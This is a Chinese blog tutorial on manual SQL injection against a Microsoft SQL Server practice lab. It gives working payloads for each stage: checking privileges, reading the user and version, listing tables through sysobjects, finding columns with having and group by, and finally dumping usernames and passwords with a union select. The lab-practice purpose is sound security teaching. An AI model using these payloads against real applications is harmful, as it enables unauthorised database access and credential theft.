MSSQL 手工注入(第一关)

2024-08-24 16:36
文章标签 注入 mssql 手工 第一关

本文主要是介绍MSSQL 手工注入(第一关),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

简介

     SQL注入是一种安全漏洞,通过它可以执行意外的SQL命令或访问数据库中的信息。MSSQL注入通常发生在应用程序将用户输入作为SQL查询的一部分执行时,而没有对输入进行适当的验证或清理。

以下是MSSQL手工注入的流程:

一、打开靶场选择第一关

二、确定注入点

测试不同的闭合方式

这里确定为 id=1' --+

三、判断注入点权限

select is_srvrolemember('sysadmin'); 判断当前是否为 sa

select is_srvrolemember('db_owner'); 判断当前⽤户写⽂件、读⽂件的权限

select is_srvrolemember('public'); 判断是否有 public 权限,可以爆破表

 ' and exists(select is_srvrolemember('sysadmin'))--   判断当前是否为 sa

或 ' and (select is_srvrolemember('sysadmin'))>0--  判断当前是否为 sa

' and (select is_srvrolemember('db_owner'))>0--  判断当前⽤户写⽂件 / 读⽂件的权限

四、查询数据库信息

user: 查询⽤户

db_name(): 查询数据库名

@@version: 查询版本信息

使用语句 ?id=-1'union select 1,user,is_srvrolemember('public');--+  查询用户

使用语句 ?id=-1'union select 1,@@version,is_srvrolemember('public');--+  查询版本信息

五、查询表名

1、查询第一个表名

使用语句  'and (select top 1 cast (name as varchar(256)) from(select top 2 id,name from [sysobjects] where xtype=char(85) and status!=1 order by id)t order by id desc)=1--

2、查询第二个表名

使用语句  -1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users')--

3、查询第三个表名

使用语句  -1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails')--

4、查询第四个表名

使用语句     -1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails' and name !='uagents')--

5、查询第五个表名

使用语句   -1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails' and name !='uagents' and name !='referers')--

结果为空,则共有四个表

六、确定字段信息

1、确定第一个字段为id

使用语句   'having 1=1--

2、确定第二个字段为username

使用语句  'group by id having 1=1--

3、确定第三个字段为password

使用语句   'group by id ,username having 1=1--

使用语句   'group by id ,username,password having 1=1--

最终确定只有三个字段

七、确定字段内容

1、查询字段数据

1'order by 3-- // 回显正常

1'order by 4-- // 回信错误 #

2、回显存在内容的字段

使用语句   -1'union select 1,2,3 from users--

确定为 2、3

3、 查询字段内容

使用语句   -1' union select 1,username,password from users--+

安全

网络安全靠人民,网络安全为人民 

这篇关于MSSQL 手工注入(第一关)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1103017

相关文章

PHP防止SQL注入详解及防范

SQL 注入是PHP应用中最常见的漏洞之一。事实上令人惊奇的是,开发者要同时犯两个错误才会引发一个SQL注入漏洞。 一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出)。这两个重要的步骤缺一不可,需要同时加以特别关注以减少程序错误。 对于攻击者来说,进行SQL注入攻击需要思考和试验,对数据库方案进行有根有据的推理非常有必要(当然假设攻击者看不到你的

PHP防止SQL注入的方法(2)

如果用户输入的是直接插入到一个SQL语句中的查询,应用程序会很容易受到SQL注入,例如下面的例子: $unsafe_variable = $_POST['user_input'];mysql_query("INSERT INTO table (column) VALUES ('" . $unsafe_variable . "')"); 这是因为用户可以输入类似VALUE”); DROP TA

PHP防止SQL注入的方法(1)

(1)mysql_real_escape_string – 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集 使用方法如下: $sql = "select count(*) as ctr from users where username ='".mysql_real_escape_string($username)."' and password='". mysql_r

Go 依赖注入库dig

简介 今天我们来介绍 Go 语言的一个依赖注入(DI)库——dig。dig 是 uber 开源的库。Java 依赖注入的库有很多,相信即使不是做 Java 开发的童鞋也听过大名鼎鼎的 Spring。相比庞大的 Spring,dig 很小巧,实现和使用都比较简洁。 快速使用 第三方库需要先安装,由于我们的示例中使用了前面介绍的go-ini和go-flags,这两个库也需要安装: $ go g

分享MSSQL、MySql、Oracle的大数据批量导入方法及编程手法细节

1:MSSQL SQL语法篇: BULK INSERT      [ database_name . [ schema_name ] . | schema_name . ] [ table_name | view_name ]         FROM 'data_file'        [ WITH       (      [ [ , ] BATCHSIZE = batch_siz

Web安全之SQL注入:如何预防及解决

SQL注入(SQL Injection)是最常见的Web应用漏洞之一,它允许攻击者通过注入恶意SQL代码来操作数据库,获取、修改或删除数据。作为Java开发者,理解并防止SQL注入攻击是至关重要的。在本篇文章中,我们将详细介绍SQL注入的原理,演示如何在电商交易系统中出现SQL注入漏洞,并提供正确的防范措施和解决方案。 1. 什么是SQL注入? SQL注入是一种通过在用户输入中嵌入恶意SQL代

网络安全(sql注入)

这里写目录标题 一. information_schema.tables 和 information_schema.schemata是information_schema数据库中的两张表1. information_schema.schemata2. information_schema.tables 二. 判断注入类型1. 判断数字型还是字符型注入2. 判断注入闭合是""还是'' 三. 判

Java抽象类使用@Autowired注入实例

示例代码如下: 抽象类 public abstract class AbstractWaterMark {@Autowiredprivate AchievementApplicationService achievementApplicationService;public AchievementApplication queryByCode(String code){return achiev

华为eNSP:手工链路聚合和动态链路聚合

手工链路聚合(静态链路聚合) 一、拓扑图 二、交换机配置过程 [s1]int Eth-Trunk 1#创建进入链路聚合组1[s1-Eth-Trunk1]trunkport g0/0/1#将g0/0/1口加入聚合组1[s1-Eth-Trunk1]trunkport g0/0/2[s1-Eth-Trunk1]trunkport g0/0/3[s1-Eth-Trunk1]quit 配

windows手工杀毒-寻找可疑进程之线程

上篇回顾:windows手工杀毒-寻找可疑进程之进程模块-CSDN博客         上篇我们介绍了如何通过进程模块寻找可疑进程,进程模块文件按照PE格式存储,我们可以使用IDA等静态分析(不需要运行文件,只看文件内容)工具分析文件行为,也可以使用windbg,x64debug等动态分析(运行文件)文件行为,也可以根据文件所属公司,文件路径等文件相关信息寻找可疑进程。今天介绍如何通过线程寻找可疑